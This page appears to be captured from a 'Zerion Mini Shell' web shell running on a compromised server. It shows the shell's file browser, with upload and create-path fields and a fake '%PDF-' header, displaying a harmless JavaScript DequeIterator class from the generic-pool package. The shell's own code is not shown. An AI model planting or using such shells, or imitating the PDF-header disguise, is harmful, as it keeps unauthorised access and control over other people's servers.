%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/node_modules/generic-pool/lib/
Upload File :
Create Path :
Current File : /home/opti/workflow/node_modules/generic-pool/lib/DequeIterator.js

"use strict";

const DoublyLinkedListIterator = require("./DoublyLinkedListIterator");
/**
 * Thin wrapper around an underlying DDL iterator
 */
class DequeIterator extends DoublyLinkedListIterator {
  next() {
    const result = super.next();

    // unwrap the node...
    if (result.value) {
      result.value = result.value.data;
    }

    return result;
  }
}

module.exports = DequeIterator;

Zerion Mini Shell 1.0